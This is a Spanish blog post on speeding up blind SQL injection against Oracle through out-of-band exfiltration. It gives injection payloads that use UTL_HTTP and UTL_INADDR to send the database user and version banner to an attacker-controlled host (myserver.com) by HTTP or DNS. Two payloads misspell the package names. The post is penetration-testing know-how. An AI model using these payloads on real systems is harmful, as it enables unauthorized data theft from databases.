18 de febrero de 2014

¡Pero señor! ¡Este oráculo no está ciego!

De lo que quiero hablar en esta entrada es algo que puede que sea más que conocido por muchos de vosotros pero que es la base de lo que os quiero contar en otra entrada y que prometo será más interesante. ¡Ojo! Que esto lo es.

Todos sabemos que explotar una inyección de código SQL ciega (blind SQL injection) puede llegar a ser un coñazo. De primeras nos conviene utilizar alguna herramienta para automatizar la explotación, porque a mano puedes sacar un par de valores como el usuario o la base de datos... ¿pero habéis probado alguna vez a sacar registros de una tabla a mano? Obviamente es inviable. Al menos si tienes unos tiempos que cumplir. Es aquí cuando herramientas como sqlmap, sqlibf o tantas otras nos hacen la vida mucho más fácil.

Pero ok. Te paras. Consigues configurar la herramienta para que te pille la inyección que, a menos que te la haya sacado un escáner automático no va a ser trivial. La lanzas. ¿Y ahora qué? Esperar. Y esperar a que haga una media de 7-8 peticiones por carácter de la cadena que estés intentando sacar y eso en el mejor de los casos y que la herramienta esté utilizando una búsqueda dicotómica. Lo que se traduce en unas 100 peticiones de media por cadena básicas como nombre de usuario o base de datos. Ahora, como quieras sacar el banner completo... van a ser en torno a unas 300.

Puestos ya en escena, os quiero contar una técnica para hacer que una inyección "ciega" no sea tan ciega en Oracle. ¿Entiendes ahora el título del post?

UTL_HTTP

UTL_HTTP es un procedimiento almacenado de Oracle que permite realizar conexiones HTTP desde la propia base de datos. Y que, por suerte para nosotros, viene por defecto habilitado en la mayoría de versiones de la base de datos.

Lo único que tenemos que hacer es utilizarlo para que nos mande la información que le pedimos a un servidor web controlado por nosotros.

Os pongo un ejemplo de cómo nos podría mandar el nombre de usuario de la base de datos a nuestro servidor web utilizando tan sólo una petición (frente a las 100 de las que hablaba antes).

Supongamos que el parámetro inyectable es "id", con una inyección de tipo numérico, en la siguiente URL:

http://www.myfakedomain.com/vulnerablepage?id=500

En un caso normal, utilizaríamos payloads como:
  • id=500 and substr(USER,1,1) = 'a'
  • id=500 and substr(USER,1,1) = 'b'
  • id=500 and substr(USER,1,1) = 'c'
  • ...
  • id=500 and substr(USER,2,1) = 'a'
  • id=500 and substr(USER,2,1) = 'b'
  • ...
Sin embargo, si usamos el siguiente payload, nos mandará el nombre del usuario al completo a nuestro servidor web:

id=500 and UTP_HTTP.request('http://www.myserver.com/' || USER) is not NULL

Y, consultando los logs del servidor podremos ver una petición de la siguiente forma:

10.0.2.2 - - [16/Feb/2014:20:09:48 +0100] "GET /PROD_USER HTTP/1.1" 404 484 "-" "Mozilla/5.0 ..."

De donde sacamos que el nombre de usuario es "PROD_USER".

Como veis, con una simple petición, es suficiente para que obtengamos la información que necesitamos. Incluso se pueden concatenar varias consultas en la misma petición, ahorrando más tiempo y esfuerzo.

UTL_INADDR

Si el procedimiento UTL_HTTP estuviera deshabilitado o directamente no funcionara por cualquier motivo (como que el servidor de base de datos tenga el acceso web filtrado), existe un segundo procedimiento almacenado que nos puede ser igualmente útil: UTL_INADDR. Este otro procedimiento es equivalente al anterior pero para realizar consultas DNS.

En esta ocasión, por tanto, si controlamos algún dominio, podemos hacer que el servidor Oracle nos haga una petición DNS como la siguiente:

PROD_USER.myserver.com

Para ello, tendremos que utilizar un payload como el siguiente:

id=500 and UTL_INADDR.GET_HOST_ADDRESS(USER || '.myserver.com') is not NULL

Como veis, es igual de útil. Aunque tened en cuenta que el protocolo DNS tiene ciertas restricciones como que los nombres de dominio no pueden contener espacios. Así que si intentamos sacar el banner de la base de datos, es más que posible que no nos llegue completo o directamente no se realice ninguna consulta DNS.

Para ello, siempre se pueden utilizar funciones como "replace":

id=500 and UTP_INADDR.GET_HOST_ADDRESS( (SELECT REPLACE(banner, ' ') FROM v$version WHERE banner LIKE 'Oracle%') ||'.myserver.com') is not NULL

Útil, ¿no? Espero que la próxima vez que tengáis una inyección SQL ciega en un Oracle os acordéis de estas técnicas para ahorraros tiempo y recursos.